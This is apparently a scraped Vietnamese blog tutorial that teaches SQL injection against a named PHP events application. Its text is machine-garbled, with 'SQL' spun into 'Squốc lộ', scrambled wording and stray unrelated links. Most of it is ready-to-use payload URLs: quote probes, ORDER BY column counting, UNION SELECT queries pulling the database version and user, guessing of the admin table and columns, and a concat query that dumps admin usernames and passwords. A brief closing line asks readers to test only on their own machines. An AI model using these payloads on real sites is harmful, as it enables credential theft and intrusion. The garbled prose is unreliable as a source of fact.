Hướng dẫn tấn công sql injection

SQL Injection là 1 lỗ hổng tương đối thông dụng và rất gần gũi với đa số hồ hết ai si mê hacking, mà lại phần đông chỉ biết nó là một trong lỗ hổng nhằm khai quật nhằm mục tiêu cá thể nhưng mà ít ai lại tìm hiểu về khái niệm, lí tmáu và cách thức gây ra lỗi của nó.


You watching: Hướng dẫn tấn công sql injection

*

Squốc lộ Injection1. Định Nghĩa:Squốc lộ Injection là một trong những lỗi xẩy ra trong quá trình up load câu truy nã vấn Squốc lộ (Squốc lộ Query) có lộ diện những kí trường đoản cú đặc biệt, kí trường đoản cú không phù hợp lệ hay là không trường tồn vào cơ sở dữ liệu(database). Giúp đến kẻ tiến công thuận tiện khai thác ngay lập tức bên trên khu vực đựng dữ liệu nguồn vào của áp dụng, trang web...2. Cách thức tạo ra lỗi:Lỗi chỉ xảy ra Lúc ta thêm những kí từ bỏ đặc biệt quan trọng nlỗi ",",*,-,... mà tác dụng trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì có nghĩa là trang đó đã dính lỗi sql injection trong những lúc triển khai tróc nã vấn.3. Kiểm tra cùng Knhì thác:Để kiểm soát lỗi ta triển khai thêm ",",*,- vào những quý hiếm nguồn vào của trang web, chẳng hạn như tôi cóhttp://www.chạy thử.com/index.php?id=1thì id=1 của nóid 1 ta thực hiện thêm những kí trường đoản cú ",",*,-,... thì nó sẽ thànhhttp://www.chạy thử.com/index.php?id=1"http://www.chạy thử.com/index.php?id=1"http://www.kiểm tra.com/index.php?id=1*http://www.thử nghiệm.com/index.php?id=-1Nếu tác dụng nó trả về là trống rỗng (empty, null, hoặc trang trắng) tuyệt trả về cái thông báo lỗi nlỗi Error, Falcal thì cho biết thêm trang web dính lại lỗi sql injectionKnhì thác cơ bạn dạng - Đếm column (số cột) sống thọ trong table bây chừ mà website sẽ sử dụng:Thực hiện tại đoạn này để ta đếm được số cột (column) mãi mãi vào table hiện tại đang được sử dụngta gồm 2 tầm nã vấn để triển khai câu hỏi đếm số cột:order by numbergroup by numbertrả sử tôi có một website đã thực hiện table "sonictable" cùng trong table kia gồm 3 column(3 cột)cột 1 tôi rước tên là "id"cột 2 tôi mang thương hiệu là "content"cột 3 tôi rước tên là "authors"Lúc tôi hy vọng tiến hành đếm cột tôi đang tiến hành truy vấn nlỗi sau:http://www.chạy thử.com/index.php?id=1 order by 1-- -=> bình thường (gồm mãi sau cột máy 1)http://www.demo.com/index.php?id=1 order by 3-- -=>bình thường ( gồm tồn tại cột 3 )dẫu vậy lúc tôi đếm quý phái cột trang bị 4http://www.test.com/index.php?id=1 order by 4-- -=> bị lỗi trả về công dụng là error hoặc rỗng hoặc falcalTức là website ko lâu dài cột trang bị 4Knhị thác cơ phiên bản - tìm kiếm cột bị lỗi với thực hiện knhì thácnhằm tìm kiếm được cột bị lỗi, tôi sử dụng queryunion select numbersau khi tôi sẽ tìm được số cột, tôi thực hiện tìm cột làm sao được hiển thị cùng tất cả lỗi bằng query "union select" cùng tôi tìm được 3 cột lâu dài trong table, tôi gồm query để hiện lên những table được sử dụng hiển thị ra màn hình như sau:http://www.thử nghiệm.com/index.php?id=1 union select 1,2,3Lưu ý nhỏ: ** lúc union ta phải đưa quý hiếm về null nhằm hoàn toàn có thể hiện cột được sử dụnghttp://www.chạy thử.com/index.php?id=null union select 1,2,3giả sử nó hiện số 2 ra Có nghĩa là column thứ 2 (column "content") đang được sử dụng nhằm hiển thị nội dung, ta khắc ghi các column ngay số vị nó dễ dàng quan sát (nếu như gồm kiến thức thì hoàn toàn có thể cần sử dụng cách khác nhằm đánh dấu)tiếp đây, ta tiến hành khai quật column thứ 2, ta khai thác version của sql cơ mà VPS đang sử dụnghttp://www.chạy thử.com/index.php?id=null union select 1,version(),3hiệu quả trả ra ngay địa chỉ thứ hai đang là version của sql nhưng mà hệ thống đang sử dụng* Mnghỉ ngơi rộng: ta rất có thể cần sử dụng hàm concat nhằm hiển thị gộp tất cả những quý hiếm ta mong mỏi hiển thị nhỏng version, database name, username databasehttp://www.test.com/index.php?id=null union select 1,concat(version(),database(),user()),3*và 1 rắc rối nhỏ là ta sẽ được trả ra 1 tác dụng của version,database name, username database dính lại chùm rất khó nhìn, ta rất có thể tách nó ra bằng 1 đoạn mã hex 0x7c (7c là hex của "|" sau khoản thời gian đã có được chuyển thành hex)http://www.thử nghiệm.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3cùng hiển thị lại không xẩy ra nặng nề chú ý nữa.Về cơ bạn dạng thì sắp tới đây chúng ta cũng nắm rõ phần như thế nào về lỗ hổng sql injection, có mang và khai quật của nó. mà hơn nữa những chúng ta có thể bài viết liên quan những Clip khai thác, các chỉ dẫn khai thác để thường xuyên học hỏi và giao lưu thêm về sql injection.Cách tiếp cận khác:I. Hướng dẫn cơ bản khai thác Squốc lộ Injection so với MySQLDemo: Knhì thác SQL Injection trong Basic PHP.. Events Lister 1.0Trước hết cùng với URL:http://seamoun.com/phpevents/event.php?id=1Thực hiện tại thêm lốt " sau id=1. URL trsinh hoạt thànhhttp://seamoun.com/phpevents/sự kiện.php?id=1"Ta phát hiện tại rằng phpvents bao gồm lỗi SQL Injection với thông tin sau:Code:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:xampphtdocsphpeventssự kiện.php on line 37

Đối tượng khai thác SQL Injection ngơi nghỉ đây là "Basic PHP.. Events Lister 1.0". Giả sử chúng ta ngần ngừ ngôi trường và bảng của áp dụng website này là gì?Với lỗi SQL Injection gây nên vì URL bên trên ta coi test tầm nã vấn (SQL) của chính nó liệu bao gồm bao các ngôi trường. Ssinh hoạt dĩ nên xác minh điều nàychính vì lúc chúng ta sử dụng UNION trong câu lệnh SQL thì số lượng trường của nhì câu lệnh select bắt buộc trùng nhau.(Các bạn ko rõ vấn đề này thì xem ý nghĩa câu lệnh Squốc lộ. Ở phía trên bản thân ko giải thích vì chưng hiển nhiên đề nghị làm rõ Squốc lộ bắt đầu khai thá được).Xác định bao gồm từng nào trường truy hỏi vấn với URLhttp://seamoun.com/phpevents/event.php?id=1có khá nhiều phương pháp để tiến hành. Ở đây bản thân thực hiện order by . Thực hiện tại tăng vọt . Lúc tiến hành order by , ví như website ko hiển thị lỗi Có nghĩa là số lượng ngôi trường vẫn còn đó, thực hiện tăng cho tới khi nào xuất hiện lỗi tức là ta đã triển khai kiếm tìm đủ con số trường.Lần lượt bản thân thử:Code:
http://seamoun.com/phpevents/event.php?id=1 order by 1 http://seamoun.com/phpevents/sự kiện.php?id=1 order by 2 http://seamoun.com/phpevents/event.php?id=1 order by 3... http://seamoun.com/phpevents/event.php?id=1 order by 15 (
vì thế tầm nã vấn Squốc lộ cùng với URL bên trên là 15 trường (field)Đến phía trên có thể điều tra phiên bạn dạng SQL, user với lệnh sauCode:
version,1,1,1,1,1,1,1,1,1,1,1,1,1 http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1

Sau lúc sẽ tất cả số lượng trường rồi thì lúc này vẫn triển khai đoán bảng (table) login của nó: rất có thể thử cùng với những table thịnh hành nhưmanager, admin, administrator, systemlogin, ... (Việc đân oán table nằm trong về kinh nghiệm tay nghề, kết phù hợp với bài toán crawl, spider nội dung website mà bản thân knhì thác). Nếu nhỏng thương hiệu bảng không đúng thì Lúc thực hiện union all select ... nó đang thông báo lỗi, trở lại nếu như tên đúng thì nó chạy OK. Tiến hành thử tra cứu table nlỗi sau:Code:


See more: 1099 - Usd To Vnd Exchange Rates

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail) http://seamoun.com/phpevents/sự kiện.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Sau khi đoán được thương hiệu table là admin. Tiếp theo là dự đoán thù thương hiệu ngôi trường vào bảng admin cơ mà tôi đã mang được.cũng có thể đoán thương hiệu trường vào bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự nlỗi trên cũng tùy nằm trong vào kinh nghiệm tay nghề kết hợp với vấn đề crawl, spider nội dung website để search tên trường). Tiền hành thử nlỗi sauCode:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/sự kiện.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)bởi vậy trường thứ nhất ta đoán được là uname vào bảng admin. Thực hiện đân oán trường mật khẩu đăng nhập http://seamoun.com/phpevents/sự kiện.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/sự kiện.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

do vậy ta đoán thù được ngôi trường mật khẩu đăng nhập là pword. do đó ta đang có báo cáo khá đầy đủ để đưa user và pass vào bảng admin với2 ngôi trường uname cùng pword + tên bảng là adminThực hiện tại lệnh:Code:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.

Thực chất cùng với hai câu lệnh trên thì ta tìm kiếm được user với pass dẫu vậy mong muốn triển khai lệnhhttp://seamoun.com/phpevents/sự kiện.php?id=1union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user với pass vào bảng admin. Nếu ngôi trường vừa lòng này lộ diện lỗi ta hoàn toàn có thể thêm limit 0,1 cùng tăng đột biến limit 1,1 limit 2,1 để mang hết tất cả user cùng passSở dĩ thực hiện câu lệnh bên trên nhằm đôi khi mang uname và pword không nhất thiết phải thực hiện gấp đôi new giành được uname với pword.0x3a---> vết ":". Concat đang thực hiện cùng chuỗiĐến phía trên ta đã gồm thông tin uname cùng pword.Nếu trường đúng theo nhưng mà liên kết đến MySQL thực hiện user root thì việc tìm và đào bới bảng với ngôi trường thuận tiện hơn cùng với lệnh sauCode:
Điều tra báo cáo bảng: http://seamoun.com/phpevents/sự kiện.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tablesĐiều tra thông báo trường: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns



See more: 05 Điểm Khác Biệt Giữa 02 Loại Hợp Đồng Không Thời Hạn Là Gì

Bên cạnh đó vào một vài trường phù hợp mở ra lỗi khi tiến hành khai thác rất có thể thực hiện hàm convert, hex, ... nhằm không xẩy ra lỗi Khi khai quật như:http://seamoun.com/phpevents/event.php?id=1union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from adminII. Demo: Knhì thác SQL Injection vào Basic PHPhường Events Lister 1.0 (milw0rm.com)Đây chỉ là phía dẫn cơ bản nhất về khai thác Squốc lộ - Injection đối với MySquốc lộ. Các chúng ta test thì install bên trên thiết bị mình nhằm bình chọn, chớ đi hachồng tín đồ không giống à nha.